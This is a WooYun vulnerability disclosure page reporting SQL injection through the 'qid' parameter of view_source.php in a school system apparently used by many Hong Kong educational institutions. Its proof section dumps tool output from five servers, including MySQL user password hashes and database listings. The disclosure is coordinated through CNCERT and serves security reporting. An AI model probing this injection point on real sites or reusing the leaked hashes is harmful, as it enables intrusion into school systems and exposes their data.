当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0157020

漏洞标题：某教育機構通用系統SQL注入 影響範圍涉及大量的香港的教育機構 #2（香港地區）

相关厂商：某教育機構通用系統SQL

漏洞作者： 雅柏菲卡

提交时间：2015-11-30 15:44

修复时间：2016-03-03 09:24

公开时间：2016-03-03 09:24

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-30： 细节已通知厂商并且等待厂商处理中
2015-12-04： 厂商已经确认，细节仅向厂商公开
2015-12-07： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航）
2016-01-28： 细节向核心白帽子及相关领域专家公开
2016-02-07： 细节向普通白帽子公开
2016-02-17： 细节向实习白帽子公开
2016-03-03： 细节向公众公开

简要描述：

........

详细说明：

...........

漏洞证明：

1、Target: 		http://**.**.**.**/home/school/qb/view_source.php?qid=4
Host IP:		**.**.**.**
Web Server: 	Apache/2.2.3 (CentOS)
Powered-by: 	PHP/5.1.6
DB Server: 	MySQL
Resp. Time(avg):	518 ms
Current User: 	junior@localhost
Sql Version: 	5.0.95-log
Current DB: 	junior20
System User: 	junior@localhost
Host Name: 	**.**.**.**
Installation dir: 	/usr/
Compile OS: 	redhat-linux-gnu
DB User & Pass: 	root:3f2ee31314f5f2d4:localhost
		root::localhost.localdomain
		::localhost.localdomain
		::localhost
		junior:11eb58de1acb42e2:localhost
		extmail:7d0e895f7ea6989e:localhost
		webman:1a197db46f30ed43:localhost
		ifolderadmin:6223cebe65cb448a:localhost
		junior:11eb58de1acb42e2:202.74.40.%
		junior:11eb58de1acb42e2:%.**.**.**.**
Data Bases: 	information_schema
		extmail
		iusers
		junior20
		junior20Sbj
		junior20_c1
		junior20_c10
		junior20_c11
		junior20_c12
		junior20_c13
		junior20_c14
		junior20_c15
		junior20_c16
		junior20_c17
		junior20_c18
		junior20_c19
		junior20_c2
		junior20_c20
		junior20_c21
		junior20_c22
		junior20_c23
		junior20_c24
		junior20_c25
		junior20_c26
		junior20_c27
		junior20_c28
		junior20_c29
		junior20_c3
		junior20_c30
		junior20_c31
		junior20_c32
		junior20_c34
		junior20_c4
		junior20_c5
		junior20_c6
		junior20_c7
		junior20_c8
		junior20_c9
		junior20_eClass_LIBMS
		mysql
		test
2、Target: 		http://**.**.**.**/home/school/qb/view_source.php?qid=4
Host IP:		**.**.**.**
Web Server: 	Apache/2.2.3 (CentOS)
Powered-by: 	PHP/5.1.6
DB Server: 	MySQL
Resp. Time(avg):	655 ms
Current User: 	junior@localhost
Sql Version: 	5.0.95
Current DB: 	junior20
System User: 	junior@localhost
Host Name: 	localhost.localdomain
Installation dir: 	/usr/
Compile OS: 	redhat-linux-gnu
DB User & Pass: 	root:5597588870fe14a9:localhost
		root::localhost.localdomain
		::localhost.localdomain
		::localhost
		junior:4aa40161591c83ed:localhost
Data Bases: 	information_schema
		junior20
		junior20Sbj
		junior20_DB_REPORT_CARD_2008
		junior20_c10
		junior20_c12
		junior20_c13
		junior20_c14
		junior20_c15
		junior20_c16
		junior20_c17
		junior20_c18
		junior20_c19
		junior20_c2
		junior20_c20
		junior20_c21
		junior20_c22
		junior20_c23
		junior20_c24
		junior20_c25
		junior20_c26
		junior20_c27
		junior20_c28
		junior20_c29
		junior20_c3
		junior20_c30
		junior20_c31
		junior20_c32
		junior20_c33
		junior20_c37
		junior20_c4
		junior20_c5
		junior20_c6
		junior20_c7
		junior20_c8
		junior20_c9
		junior20_eClass_LIBMS
		mysql
		test
3、Target: 		http://**.**.**.**/home/school/qb/view_source.php?qid=4
Host IP:		**.**.**.**
Web Server: 	Apache/2.2.3 (CentOS)
Powered-by: 	PHP/5.1.6
DB Server: 	MySQL
Resp. Time(avg):	522 ms
Current User: 	junior@localhost
Sql Version: 	5.0.95-log
Current DB: 	junior20
System User: 	junior@localhost
Host Name: 	localhost.localdomain
Installation dir: 	/usr/
DB User & Pass: 	root:35ee0124552d1d26:localhost
Compile OS: 	redhat-linux-gnu
		root:35ee0124552d1d26:eclass
		::eclass
		::localhost
		junior:37b6d21e4892dc18:localhost
Data Bases: 	information_schema
		junior20
		junior20Sbj
		junior20_c1
		junior20_c49
		junior20_c50
		junior20_c51
		junior20_c52
		junior20_c54
		junior20_c55
		junior20_c56
		junior20_c57
		junior20_c58
		junior20_c59
		junior20_c60
		junior20_c61
		junior20_c62
		junior20_c63
		junior20_c64
		junior20_c65
		junior20_c66
		junior20_c67
		junior20_c68
		junior20_c69
		junior20_c70
		junior20_c71
		junior20_c72
		junior20_c73
		junior20_c74
		junior20_c75
		junior20_eClass_LIBMS
		mysql
		test
4、Target: 		**.**.**.**//home/school/qb/view_source.php?qid=4
Host IP:		**.**.**.**
Web Server: 	Apache/2.2.3 (CentOS)
Powered-by: 	PHP/5.1.6
DB Server: 	MySQL
Resp. Time(avg):	601 ms
Current User: 	junior@localhost
Sql Version: 	5.0.95
Current DB: 	junior20
System User: 	junior@localhost
Host Name: 	localhost.localdomain
Installation dir: 	/usr/
Compile OS: 	redhat-linux-gnu
DB User & Pass: 	root:68f1bb174c348224:localhost
		root::localhost.localdomain
		::localhost.localdomain
		::localhost
		junior:3762369a1826cfa7:localhost
Data Bases: 	information_schema
		junior20
		junior20Sbj
		junior20_20130712
		junior20_20130820
		junior20_c1
		junior20_c112
		junior20_c116
		junior20_c121
		junior20_c123
		junior20_c125
		junior20_c127
		junior20_c129
		junior20_c130
		junior20_c37
		junior20_c38
		junior20_c39
		junior20_c40
		junior20_c41
		junior20_c42
		junior20_c43
		junior20_c44
		junior20_c45
		junior20_c46
		junior20_c47
		junior20_c48
		junior20_c49
		junior20_c51
		junior20_c52
		junior20_c53
		junior20_c54
		junior20_c56
		junior20_c57
		junior20_c58
		junior20_c59
		junior20_c62
		junior20_c63
		junior20_c64
		junior20_c65
		junior20_c68
		junior20_c69
		junior20_c71
		junior20_c72
		junior20_c73
		junior20_eClass_LIBMS
		mysql
		test
5、Target: 		**.**.**.**//home/school/qb/view_source.php?qid=4
Host IP:		**.**.**.**
Web Server: 	Apache/2.2.3 (CentOS)
Powered-by: 	PHP/5.1.6
DB Server: 	MySQL
Resp. Time(avg):	538 ms
Current User: 	junior@localhost
Sql Version: 	5.0.95-log
Current DB: 	junior20
System User: 	junior@localhost
Host Name: 	**.**.**.**
Installation dir: 	/usr/
Compile OS: 	redhat-linux-gnu
DB User & Pass: 	root:4bc111210992d1e8:localhost
		root::localhost.localdomain
		::localhost.localdomain
		::localhost
		junior:258dccd92eab7aa1:localhost
Data Bases: 	information_schema
		junior20
		junior20Sbj
		junior20_c1
		junior20_c41
		junior20_c42
		junior20_c43
		junior20_c44
		junior20_c45
		junior20_c46
		junior20_c47
		junior20_c48
		junior20_c49
		junior20_c50
		junior20_c51
		junior20_c54
		junior20_c55
		junior20_c56
		junior20_c57
		junior20_c58
		junior20_c59
		junior20_c60
		junior20_c64
		junior20_c65
		junior20_c66
		junior20_c67
		junior20_c70
		junior20_c72
		junior20_c75
		junior20_c76
		junior20_c77
		junior20_c80
		junior20_c81
		junior20_c82
		junior20_c83
		junior20_c84
		junior20_c85
		junior20_c86
		junior20_c87
		junior20_c88
		junior20_eClass_LIBMS
		mysql
		test
http://**.**.**.**/bugs/wooyun-2015-0156762  這裡的案例都是大部是可以被注入的 注入點為 
【view_source.php?qid=***】

修复方案：

..............

版权声明：转载请注明来源 雅柏菲卡@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2015-12-04 09:27

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT向HKCERT通报,由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评价